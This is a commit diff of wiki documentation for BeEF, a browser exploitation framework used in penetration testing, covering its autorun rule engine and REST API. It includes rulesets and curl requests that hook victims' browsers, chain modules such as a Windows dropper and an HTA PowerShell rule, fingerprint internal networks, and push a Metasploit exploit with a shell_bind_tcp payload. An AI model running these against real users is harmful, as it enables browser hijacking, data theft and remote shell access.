admin/beefproject-beef
1
0
Fork 0
mirror of https://github.com/beefproject/beef synced 2026-06-08 13:15:56 +00:00
Code Issues Packages Projects Releases Wiki Activity

merging

Haoxi Tan
2020-01-06 15:02:40 +10:00
parent fdb3863feb da421c0027
commit cca2da7837
60 changed files with 1568 additions and 789 deletions
Download Patch File Download Diff File Expand all files Collapse all files
ActiveRecord.md
+3 -1
@@ -51,6 +51,8 @@ and it will then reset the database if it receives the -x flag.
The start file will then connect to the database and migrate if required.
See the file for more detailed information.
[Refer to the Database Scheme ](https://github.com/beefproject/beef/wiki/Database-Schema)
[Refer to the Database Schema](https://github.com/beefproject/beef/wiki/Database-Schema)
***
[[WebRTC Extension|WebRTC-Extension]] | [[Development Organization|Development Organization]]
Advanced-Module-Creation.md
+4 -1
@@ -1 +1,4 @@
TODO
TODO
***
[[Javascript API|Javascript API]] | [[Creating An Extension|Creating An Extension]]
Autorun-Rule-Engine.md
+87 -36
@@ -1,21 +1,38 @@
## Introduction
The Autorun Rule Engine (ARE from now on) is a core BeEF component which allows you to define rules
The Autorun Rule Engine (ARE) is a core BeEF component which allows you to define rules
that are automatically triggered on the hooked browser if certain conditions are matched.
If you are a BeEF aficionado, you were probably waiting for this from a long time :-) The old static autorun functionality has been removed. The main features of the new ARE are the following:
* **Dynamic** : pre-load rules from <beef_root>/arerules/enabled directory at start-up, or load them at runtime while BeEF is running, then trigger them on each hooked browser. RESTful API calls are documented in detail later here.
* **Non-intrusive** : command modules now have support for returning execution status and result data (useful for chaining). This didn't required a huge refactoring, but some smart changes in the API only. Command modules that are not adapted to be run with nested-forward chaining mode return UNKNOWN status by default. You can still launch them with the sequential chaining mode. If you need to chain modules output/input though, you will need to add one or two lines of dumb-proof JavaScript to the command modules if the rule is in nested-forward chain mode (more on this later here).
* **Evolving** : you will likely see the ARE evolve to address common client-side needs for the lazy pentester.
If you are a BeEF aficionado, you were probably waiting for this for a long time :-) The old static autorun functionality has been removed. The main features of the new ARE are the following:
* **Dynamic:**
* Pre-load rules from `<beef_root>/arerules/` enabled directory at start-up, or load them at runtime while BeEF is
running, then trigger them on each hooked browser.
* RESTful API calls are documented in detail later here.
* **Non-intrusive:**
* Command modules now have support for returning execution status and result data (useful for chaining).
* This didn't require a huge amount of refactoring, just some smart changes to the API.
* Command modules that are not adapted to be run with nested-forward chaining mode return UNKNOWN status by default. You
can still launch them with the sequential chaining mode.
* If you need to chain modules output/input, you will need to add one or two lines of dumb-proof JavaScript to the
command modules if the rule is in nested-forward chain mode (more on this later here).
* **Evolving:**
* You will likely see the ARE evolve to address common client-side needs for the lazy pentester.
#### Table of Contents
* [Matching](#matching)
* [Chaining Mode](#chaining-mode)
* [RESTful API](#restful-api)
## Matching
On successful hook, the ARE checks if any rulesets present in the core_arerules table match against the hooked browsers. Various hooked browser properties are checked:
On a successful hook, the ARE checks if any rulesets present in the core_arerules table match against the hooked browsers. Various hooked browser properties are checked:
* Browser type and version
* Operating system type and version
* (WIP) Plugin type/version
* (WIP) OS architecture
## Matching examples
Trigger only on Safari browsers >= 7, on OSX Yosemite or below.
#### Matching Examples
##### Trigger only on Safari browsers >= 7, on OSX Yosemite or below.
```javascript
{
"browser": "S",
@@ -25,7 +42,7 @@ Trigger only on Safari browsers >= 7, on OSX Yosemite or below.
}
```
Trigger only on Internet Explorer (any version), on Windows 7 or greater.
##### Trigger only on Internet Explorer (any version), on Windows 7 or greater.
```javascript
{
"browser": "IE",
@@ -35,7 +52,7 @@ Trigger only on Internet Explorer (any version), on Windows 7 or greater.
}
```
Trigger only on Firefox (at least version 31), on any Linux system.
##### Trigger only on Firefox (at least version 31), on any Linux system.
```javascript
{
"browser": "FF",
@@ -51,15 +68,15 @@ The following are the allowed Browser/OS types and version supported with the AR
OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL']
VERSION = ['<','<=','==','>=','>','ALL','Vista','XP']
```
Have a look in browser.js and os.js (<beef_root>/core/main/client) to see exactly what is supported.
Have a look in `browser.js` and `os.js` (found in `<beef_root>/core/main/client`) to see exactly what is supported.
## Chaining mode
There are currently two chaining modes implemented, which should cover most of your client-side needs.
### Sequential
Call N modules with different configurable time delays.
Sequential mode wraps module bodies in their own functions, using setTimeout() to call them with a time delay if specified. Execution order is also available to let you write down modules in an organised way in the JSON file, but then call them in different order.
Sequential mode wraps module bodies in their own functions, using `setTimeout()` to call them with a time delay if specified. Execution order is also available to let you write down modules in an organised way in the JSON file, but then call them in different order.
Note that module execution status is not checked, and results are ignored. Useful if you just want to launch some modules without caring what their status will be (for instance, a bunch of blind XSRFs on a set of targets). Moreover, as explained later, this chaining mode allows you to launch N modules that are not prepared for the BeEF ARE (as in, they don't return information about the execution status or result data).
Note that module execution status is not checked, and results are ignored. Useful if you just want to launch some modules without worrying what their status will be (e.g. a bunch of blind XSRFs on a set of targets). Moreover - as explained later - this chaining mode allows you to launch N modules that are not prepared for the BeEF ARE (that is, they don't return information about the execution status or result data).
The resulting wrapper is something like this:
```javascript
@@ -68,7 +85,9 @@ The resulting wrapper is something like this:
setTimeout(module_three(), 3000);
```
Display a fake notification (target only IE >= 10 on Windows 7 or higher, then after 2 seconds call the Clippy module with a custom Windows-only dropper that was pre-mounted in BeEF.
#### Sequential Chaining Example
##### Display a fake notification
Target only IE >= 10 on Windows 7 or higher, then after 2 seconds call the Clippy module with a custom Windows-only dropper that was pre-mounted in BeEF.
```javascript
{
@@ -104,12 +123,16 @@ Display a fake notification (target only IE >= 10 on Windows 7 or higher, then a
}
```
### Nested-forward
### Nested-Forward
Call N modules, where module N is executed only if N-1 returns a certain status. Module N can use as input the output from module N-1 (eventually mangling it before processing it).
Nested-forward mode wraps module bodies in their own function, then start to execute them from the first, polling for command execution status/results (with configurable polling interval and timeout). After execution of the first module in the chain, depending on the module condition specified, execution will continue or stop.
The following is an example of chaining an internal network fingerprinting activity only if the hooked browser internal IP is known. Two modules are chained: get_internal_ip_webrtc and internal_network_fingerprinting.
#### Nested-Forward Chaining Example
##### Chaining an internal network fingerprinting activity only if the hooked browser internal IP is known
Two modules are chained: `get_internal_ip_webrtc` and `internal_network_fingerprinting`.
```javascript
{
@@ -147,22 +170,39 @@ if condition
code()
module_two(module_one_output)
```
This is also one of the cases where the second module input expects something different than the first module output, so we need a way to change module output. The code property allows you to specify arbitrary JavaScript (no multilines, one line only). In this specific case, let's assume the output of the first module is 172.16.35.2. The
second module requires an input like the following though: "start_ip-stop_ip", as in 172.16.35.1-172.16.35.3 for internal network fingerprinting. The following is the code property value for the second module:
This is also one of the cases where the second module input expects something different than the output of the first module, so we need a way to change module output. The code property allows you to specify arbitrary JavaScript (no multi-lines, one line only).
In this specific case, let's assume the output of the first module is `172.16.35.2`. The second module requires an input like the following though: `start_ip-stop_ip` (i.e. `172.16.35.1-172.16.35.3`) for internal network fingerprinting.
The following is the code property value for the second module:
```javascript
var s = get_internal_ip_webrtc_mod_output.split('.');
var start = parseInt(s[3])-1;
var end = parseInt(s[3])+1;
var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;
```
As you can see it's dumb-proof. Few things to note here:
* **condition** : value 'null' if you just want to proceed with execution. Alternatively you can check for previous command module execution status with:
As you can see it's dumb-proof. There are a few things to note here:
* **condition:**
* Value `null` if you just want to proceed with execution. Alternatively you can check for previous command module
execution status with:
```javascript
status==1 // continue if previous module execution status is success
status==0 // continue if previous module execution status is unknown
status==-1 // continue if previous module execution status is error
```
* **code**: arbitrary JavaScript as shown above. Use ```<<mod_input>>``` as command module option (input) in the ruleset ( like ```"ipRange":"<<mod_input>>"```), and make sure you declare the ```var mod_input='something';``` variable in the code property value. You can reference previous module's output with ```<command_module_name>_mod_output``` (get_internal_ip_webrtc_mod_output in the previous example). Note that the get_internal_ip_webrtc BeEF command.js was modified to return execution status and result data (internal IP):
* **code:**
* Arbitrary JavaScript as shown above.
* Use `<<mod_input>>` as command module option (input) in the ruleset ( like `"ipRange":"<<mod_input>>"`), and make sure
you declare the `var mod_input='something';` variable in the code property value.
* You can reference previous module's output with `<command_module_name>_mod_output`
(`get_internal_ip_webrtc_mod_output` in the previous example).
* Note that the `get_internal_ip_webrtc` BeEF `command.js` was modified to return execution status and result data
(internal IP):
```javascript
get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")];
@@ -176,7 +216,7 @@ get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.joi
*/
```
As most command modules are asynchronous, meaning that they might return in a non-deterministic time, it's necessary to poll for command status/results every X milliseconds, until a specified timeout. This is automatically taken care of and polling/timeout values can be specified in the main BeEF config.yaml file:
As most command modules are asynchronous, meaning that they might return in a non-deterministic time, it's necessary to poll for command status/results every X milliseconds, until a specified timeout. This is automatically taken care of and polling/timeout values can be specified in the main BeEF [`config.yaml`](https://github.com/beefproject/beef/blob/master/config.yaml) file:
```yaml
# Autorun Rule Engine
@@ -194,10 +234,11 @@ autorun:
```
## RESTful API
For easier integration with other tools or with your custom scripts, RESTful APIs are available also for the Autorun Rule Engine.
For easier integration with other tools or your own custom scripts, RESTful API endpoints are available also for the ARE.
### Add Rule
Ruleset (`ie_win_htapowershell.json`):
### Add rule
Ruleset (ie_win_htapowershell.json):
```javascript
{
"name": "HTA PowerShell",
@@ -227,30 +268,37 @@ Ruleset (ie_win_htapowershell.json):
"chain_mode": "sequential"
}
```
You can add it to BeEF with the following cURL request:
To add it to BeEF with use the following cURL request:
```javascript
curl -H "Content-Type: application/json; charset=UTF-8" --data "@ie_win_htapowershell.json" -X POST http://172.16.45.1:3000/api/autorun/rule/add?token=xyz
```
If the action was successful, you will get the rule_id back, in order to use with other API calls.
### Trigger rule
By default rules are triggered only once when the browser is successfully hooked. However there might be cases where you need to add then trigger immediately a ruleset. For instance, you have 5 rules pre-loaded during your phishing campaign, but none of them cover Android, and at the same time you notice lots of Android targets newly hooked. Well the ARE is flexible enough to let you add (at runtime) new rules, then trigger them when you want on already-hooked browsers.
Following the same example used previously, given that the rule added has id 1, you can trigger it on every online hooked browser with the following:
### Trigger Rule
By default rules are triggered only once when the browser is successfully hooked. However there might be cases where you need to add and then immediately trigger a ruleset.
For instance, you have 5 rules pre-loaded during your phishing campaign, but none of them cover Android. At the same time you notice lots of Android targets newly hooked. The ARE is flexible enough to let you add (at runtime) new rules, then trigger them when you want on already-hooked browsers.
Following the last example, given that the newly added rule's ID is 1, you can use the following request to trigger it on every online hooked browser:
```javascript
curl http://172.16.45.1:3000/api/autorun/rule/trigger/1?token=xyz
```
### Delete rule
### Delete Rule
This is quite self-explanatory ;-)
```javascript
curl http://172.16.45.1:3000/api/autorun/rule/delete/1?token=xyz
```
### List rule(s)
### List Rule(s)
If you need to retrieve rule definition data back in JSON, you can do it in two ways:
Getting a specific ruleset (with id 1 in the example):
Getting a specific ruleset by ID (here the ID is 1):
```javascript
curl http://172.16.45.1:3000/api/autorun/rule/list/1?token=xyz
```
@@ -260,7 +308,7 @@ Getting all the rulesets in the database:
curl http://172.16.45.1:3000/api/autorun/rule/list/all?token=xyz
```
Both of the call will return something like the following is successful:
Both of the calls will return something like the following, if successful:
```javascript
{
"success": true,
@@ -279,6 +327,9 @@ Both of the call will return something like the following is successful:
}
```
## Rules examples:
As mentioned earlier on, the ARE is evolving, so there will be likely many more rulesets in the near future.
All public rulesets will be in the main BeEF repository, inside (beef_root)/arerules.
## Rules Examples
The ARE is evolving, so there will likely be many more rulesets in the near future.
All public rulesets will be in the main BeEF repository, inside `<beef_root>/arerules`.
***
[[BeEF RESTful API|BeEF RESTful API]] | [[Notifications|Notifications]]
BeEF-Console.md
+5 -3
@@ -1,4 +1,4 @@
The console extension is currently **disabled** and **unsupported**.
_**The console extension is currently **disabled** and **unsupported**, this page is kept for historical purposes only in the case that this is enabled again.**_
## Introduction
@@ -12,7 +12,7 @@ The BeEF console is an extension which should be enabled in the main _config.yml
The console is automatically launched with the beef script.
###Help
### Help
```
Core Commands
@@ -122,4 +122,6 @@ Results retrieved: 2012-10-15 13:21:29 +0200
Response:
google_desktop=Not Installed
```
```
***
[[Notifications|Notifications]] | [[Module creation|Module creation]]
BeEF-RESTful-API.md
+353 -215
@@ -1,45 +1,94 @@
## Introduction
From version 0.4.3.3, BeEF exposes a RESTful API allowing scripting BeEF through HTTP/JSON requests.
From version 0.4.3.3 onwards, BeEF exposes a RESTful API. This allows users to script BeEF through HTTP/JSON requests.
#### Table of Contents
- [Authentication](#authentication)
- [Hooked Browsers](#hooked-browsers)
- [Browser Details](#browser-details)
- [Logs](#logs)
- [Browser's Log](#browsers-log)
- [List Command Modules](#list-command-modules)
- [Information on a Specific Module](#information-on-a-specific-module)
- [Launch Command Module on a Specific Browser](#launch-command-module-on-a-specific-browser)
- [Return Information About the Specific Command Module Previously Executed](#return-information-about-the-specific-command-module-previously-executed)
- [Send a Metasploit Module](#send-a-metasploit-module)
- [Send a Module to Multiple Hooked Browsers](#send-a-module-to-multiple-hooked-browsers)
- [Send Multiple Modules to a Single Hooked Browser](#send-multiple-modules-to-a-single-hooked-browser)
- [List the DNS ruleset](#list-the-dns-ruleset)
- [List a Specific DNS Rule](#list-a-specific-dns-rule)
- [Add a New DNS Rule](#add-a-new-dns-rule)
- [Remove an Existing DNS Rule](#remove-an-existing-dns-rule)
- [Scripts](#scripts)
## Authentication
In order to use the API, a _token_ parameter must always be added to requests, otherwise a 401 error (Not Authorized) is returned.
A new pseudo-random token is generated each time BeEF starts, using `BeEF::Core::Crypto::api_token`. The token is added to the `BeEF::Configuration` object.
The pseudo-random token is newly generated every time BeEF starts, using _BeEF::Core::Crypto::api_token_
and is then added to the _BeEF::Configuration_ object. It can be retrieved at any time via ruby using `BeEF::Core::Configuration.instance.get('beef.api_token')`
When BeEF starts the token is printed to the console. It should look something like:
When BeEF starts, look at the console output for
`[16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47
`[16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47`
Alternatively, for example if you want to write automated scripts that use the RESTful API, you can issue a POST request to `/api/admin/login` using the BeEF credentials you will find in the main config.yaml file.
An example with curl:
**NOTE:**
* If you require access to the token and you are writing Ruby code somewhere in BeEF, it can be called using:
```ruby
BeEF::Core::Configuration.instance.get('beef.api_token')
```
curl -H "Content-Type: application/json" \
-X POST -d '{"username":"beef", "password":"beef"}'\
http://127.0.0.1:3000/api/admin/login
### Requesting the Authentication Token from the API
### Handler
* **Endpoint**
* `POST /api/admin/login`
* **Description**
* In order to use the API, a `token` parameter must always be added to requests, otherwise a 401 error (Not Authorized)
is returned. This request provides that token in response.
* The credentials sent in the body of the request are the ones set in the main [`config.yaml`](https://github.com/beefproject/beef/wiki/Command-Module-Config) file.
* **Request Components**
* N/A
* **Query Parameters**
* N/A
* **Request Content**
* **Body**
* `username` - your username set in [`beef/config.yaml`](https://github.com/beefproject/beef/wiki/Command-Module-Config)
* `password` - your password set in [`beef/config.yaml`](https://github.com/beefproject/beef/wiki/Command-Module-Config)
### Example
#### Request
```bash
curl -H "Content-Type: application/json" -X POST -d '{"username":"beef", "password":"beef"}' http://127.0.0.1:3000/api/admin/login
```
#### Response
```
response: {"success":true,"token":"8dc651e5ee1cb06003878bb26bd0e72800caeea0"}
```
In this way you can parse the JSON response grabbing the token, and use it for your next requests to BeEF.
## Hooked Browsers
### Handler
* **Handler** : /api/hooks
* Description : The _hooks_ handler gives information about the hooked browsers, both online and offline.
* No parameters
* **Endpoint**
* `GET /api/hooks?token={token}`
* **Description**
* Provides information (browser and OS version, cookies, enabled plugins, etc) about **all** hooked browsers (both
online and offline).
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
### Example
**Request**:
```
#### Request
```bash
curl http://beefserver.com:3000/api/hooks?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
Response:
```json
#### Response
```
{
"hooked-browsers": {
"online": {
@@ -71,66 +120,76 @@ Response:
## Browser Details
In order to retrieve relative hooked browser details (like enabled plugins and technologies, cookies, screen size and additional info), we must specify the unique session id that identified the browser in the BeEF framework. This information can be found from the previous _/api/hooks_ call: the _session_ key value.
### Handler
* **Request** : GET /api/hooks/:session
* Description : Gather informations on a hooked browser
* Parameters :
* :session : Session of the browser
* **Endpoint**
* `GET /api/hooks/{session}?token={token}`
* **Description**
* Provides information (browser and OS version, cookies, enabled plugins, etc) about a **specific** hooked browser.
* **Request Components**
* `{session}` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the [`/api/hooks`](#hooked-browsers) request.
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
### Example
**Request**:
#### Request
```
```bash
curl http://beefserver.com:3000/api/hooks/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
**Response**:
#### Response
```json
{ "BrowserName" : "O",
"BrowserPlugins" : "Shockwave Flash\nJava Applet Plug-in\nQuickTime Plug-in 7.7.1\nSharePoint Browser Plug-in\nSilverlight Plug-In\nWebEx64 General Plugin Container",
"BrowserReportedName" : "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.3; U; en) Presto/2.10.229 Version/11.62",
"BrowserType" : "{"O11":true,"O":true}",
"BrowserVersion" : "11",
"Cookies" : "BEEFHOOK=nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk",
"HasActiveX" : "No",
"HasFlash" : "Yes",
"HasGoogleGears" : "No",
"HasWebSocket" : "No",
"HostName" : "127.0.0.1",
"JavaEnabled" : "Yes",
"OsName" : "Macintosh",
"PageReferrer" : "No Referrer",
"PageTitle" : "BeEF Basic Demo",
"PageURI" : "http://127.0.0.1:3000/demos/basic.html",
"ScreenParams" : "{"width"=>1680, "height"=>1050, "colordepth"=>32}",
"SystemPlatform" : "MacIntel",
"VBScriptEnabled" : "No",
"WindowSize" : "{"width"=>1000, "height"=>729}",
"hasPersistentCookies" : "Yes",
"hasSessionCookies" : "Yes"
```
{
"BrowserName": "O",
"BrowserPlugins": "Shockwave Flash\nJava Applet Plug-in\nQuickTime Plug-in 7.7.1\nSharePoint Browser Plug-in\nSilverlight Plug-In\nWebEx64 General Plugin Container",
"BrowserReportedName": "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.3; U; en) Presto/2.10.229 Version/11.62",
"BrowserType": "{"O11":true,"O":true}",
"BrowserVersion": "11",
"Cookies": "BEEFHOOK=nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk",
"HasActiveX": "No",
"HasFlash": "Yes",
"HasGoogleGears": "No",
"HasWebSocket": "No",
"HostName": "127.0.0.1",
"JavaEnabled": "Yes",
"OsName": "Macintosh",
"PageReferrer": "No Referrer",
"PageTitle": "BeEF Basic Demo",
"PageURI": "http://127.0.0.1:3000/demos/basic.html",
"ScreenParams": "{"width"=>1680, "height"=>1050, "colordepth"=>32}",
"SystemPlatform": "MacIntel",
"VBScriptEnabled": "No",
"WindowSize": "{"width"=>1000, "height"=>729}",
"hasPersistentCookies": "Yes",
"hasSessionCookies": "Yes"
}
```
## Logs
### Handler
* **URL** : /api/logs
* Description : The _logs_ handler gives information about hooked browser logs, both global and relative ones.
* No parameters
* **Endpoint**
* GET `/api/logs?token={token}`
* **Description**
* The `logs` handler gives information about **all** hooked browser's logs, both global and relative.
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
### Example
**Request** :
#### Request
```bash
curl http://beefserver.com:3000/api/logs?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
curl http://beefserver.com:3000/api/logs?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```
**Response (snip)**
```json
#### Response
```
{
"logs_count": 8,
"logs": [
@@ -152,25 +211,28 @@ curl http://beefserver.com:3000/api/logs?token=320f3cf4da7bf0df7566a517c5db796e7
## Browser's Log
In order to retrieve relative hooked browser logs, so events that are logged for a specific browser, we must specify the unique session id that identified the browser in the BeEF framework. This information can be found from the previous _/api/hooks_ call: the _session_ key value.
### Handler
* **URL** : GET /api/logs/:session
* Description : Logs on one browser
* Parameters :
* session : session of the user
* **Endpoint**
* `GET /api/logs/{session}?token={token}`
* **Description**
* The `logs` handler gives information about a **specified** hooked browser's logs.
* **Request Components** :
* `{session}` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the
[`/api/hooks`](#hooked-browsers) request.
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication)).
### Example
**Request**
#### Request
```
curl http://beefserver.com:3000/api/logs/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```bash
curl http://beefserver.com:3000/api/logs/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
**Response (snip)**
#### Response
```json
```
{
"logs_count": 13,
"logs": [
@@ -204,21 +266,26 @@ curl http://beefserver.com:3000/api/logs/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwa
## List Command Modules
### Handler
* **Handler** => /api/modules
* Description : list available command modules
* No parameters
* **Endpoint**
* `GET /api/modules?token={token}`
* **Description**
* List **all** available BeEF command modules.
* **Request Components**
* N/A
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication)).
### Example
**Request**
#### Request
```
curl http://beefserver.com:3000/api/modules?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
```bash
curl http://beefserver.com:3000/api/modules?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
**Response (snip)**
#### Response
```json
```
{
"0": {
"id": 1,
@@ -243,24 +310,30 @@ curl http://beefserver.com:3000/api/modules?token=320f3cf4da7bf0df7566a517c5db79
}
```
## Informations on a specific module
## Information on a Specific Module
### Handler
* **URL** : GET /api/modules/:module_id
* Description :
* Parameters :
* module_id : ID of the BeEF module
* **Endpoint**
* `GET /api/modules/{module_id}?token={token}`
* **Description**
* Get detailed information about a **specific** BeEF command module.
* **Request Components** :
* `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication)).
### Example
**Request**:
```
curl http://beefserver.com:3000/api/modules/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
#### Request
```bash
curl http://beefserver.com:3000/api/modules/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
**Response**:
#### Response
```json
```
{
"name": "prompt_dialog",
"description": "Sends a prompt dialog to the hooked browser.",
@@ -274,161 +347,206 @@ curl http://beefserver.com:3000/api/modules/71?token=320f3cf4da7bf0df7566a517c5d
]
}
```
## Launch a command on a specific browser
## Launch Command Module on a Specific Browser
### Handler
* **URL** : POST /api/modules/:session/:module_id
* Description : launch the module given on the zombie browser given
* Parameters :
* :session : session of the hooked browser
* :module_id : ID of the BeEF module
* + parameters needed for the module
* **Endpoint**
* `POST /api/modules/{session}/{module_id}?token={token}`
* **Description**
* Launch a **specific** BeEF command module against a **given** hooked browser.
* **Request Components**
* `{session}` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the
[`/api/hooks`](#hooked-browsers) request.
* `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
* **Request Content**
* **Headers**
* Content-Type: `application/json; charset=UTF-8`
### Example
NOTE: the request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON. In the following example we send the _prompt-dialog_ command module: according to the previous _/api/modules/71_ call, we can specify the _question_ input with our custom value.
In the following example we send the `prompt-dialog` command module. Using our last example (our `/api/modules/71` call), we can see that we can specify the `question` input with a custom value.
**Request** :
**NOTE:**
* The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
```
curl -H "Content-Type: application/json; charset=UTF-8" \
-d '{"question":"wtf?"}' -X POST \
http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
#### Request
```bash
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"question":"wtf?"}' -X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
**Response** :
#### Response
```json
```
{
"success": "true",
"command_id": "1"
}
```
## Return information about the specific command module previously executed
Reusing the previous example, we want to know the command module execution results (or, what the victim entered to the prompt dialog). In this case the victim entered _don't know_ :D
## Return Information About the Specific Command Module Previously Executed
### Handler
* **URL** : GET /api/modules/:session/:mod_id/:cmd_id
* **Description** : Returns information on the command previously launched
* **Parameters** :
* :session : session of the hooked browser
* :mod_id : ID of the BeEF module
* cmd_id : id of the command launched
* **Endpoint**
* `GET /api/modules/{session}/{module_id}/{cmd_id}?token={token}`
* **Description**
* Returns information about a **specific** previously launched BeEF command module.
* **Request Components**
* `{session}` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the
[`/api/hooks`](#hooked-browsers) request.
* `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* `{cmd_id}` - ID of the command launched. See [Launch Command Module](#launch-command-module-on-a-specific-browser).
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
### Example
**Request** :
Again using our previous example, we would like to know results from the executed command module i.e. what the victim entered to the prompt dialog. In this case the victim entered `don't know` :D
```
curl http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71/1?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
#### Request
```bash
curl http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71/1?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
**Response**:
#### Response
```json
```
{
"date": "1332260323",
"data": "{"data":"answer=don't know"}"
}
```
## Send a Metasploit module
## Send a Metasploit Module
### Handler
* **URL** : POST /api/modules/:session/:module_id
* **Description** : Launch a metasploit module on a given browser
* **Parameters** :
* session : Session of the current browser
* module_id : ID of the BeEF module
* + Parameters needed to launch the module
* **Endpoint**
* `POST /api/modules/{session}/{module_id}?token={token}`
* **Description**
* Launch a **specific** Metasploit module against a **given** hooked browser
* **Request Components** :
* `{session}` - session ID of the hooked browser. This ID is the `session_key` value returned in the response to the
[`/api/hooks`](#hooked-browsers) request.
* `{module_id}` - ID of the BeEF module. See [List Command Modules](#list-command-modules).
* **Query Parameters**
* `{token}` - your authentication token (see [Authentication](#authentication))
* **Request Content**
* **Headers**
* Content-Type: `application/json; charset=UTF-8`
### Example :
### Example
NOTE: the request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON. In the following example we send the _Adobe FlateDecode Stream Predictor 02 Integer Overflow_. Metasploit modules will be listed together with BeEF modules, marked with the _metasploit_ category.
In the following example we send the `Adobe FlateDecode Stream Predictor 02 Integer Overflow`. Metasploit modules will be listed together with BeEF modules, marked with the `metasploit` category.
**Request** :
**NOTE:**
* The request header must contain `Content-Type: application/json; charset=UTF-8` and the request body must be valid JSON.
```
curl -H "Content-Type: application/json; charset=UTF-8" \
-d '{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}' \
-X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/236?token=320f3cf4da7bf0df7566a517c5db796e73a23f47
#### Request
```bash
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}' -X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/236?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`
```
**Response**
#### Response
NOTE: in this case we cannot query BeEF nor Metasploit if module execution was successful or not.
This is why there is "command_id":"not_available" in the response.
**NOTE:**
* You cannot query BeEF or Metasploit with [Return Information About A Command Module Previously Executed](#return-information-about-the-specific-command-module-previously-executed) call to historically check the result of an executed Metasploit module.
* This is why `"command_id":"not_available"` appears in the response of this request.
```json
```
{
"success": "true",
"command_id": "not_available"
}
```
## Send a module to multiple hooked browsers
## Send a Module to Multiple Hooked Browsers
### Handler
* **URL** : POST /api/modules/multi_browser
* **Description** : Fire a new command module to multiple hooked browsers. Returns the command IDs of the launched module, or 0 if firing got issues.
* **Parameters** :
* mod_id : module ID
* mod_params : parameters needed for the module
* hb_ids : IDs of the target hooked browsers
* **Endpoint**
* `POST /api/modules/multi_browser?token={token}`
* **Description**
* Fire a BeEF command module to **multiple** hooked browsers. Returns the command IDs of the launched module, or 0 if there were errors.
* **Request Components**
* N/A
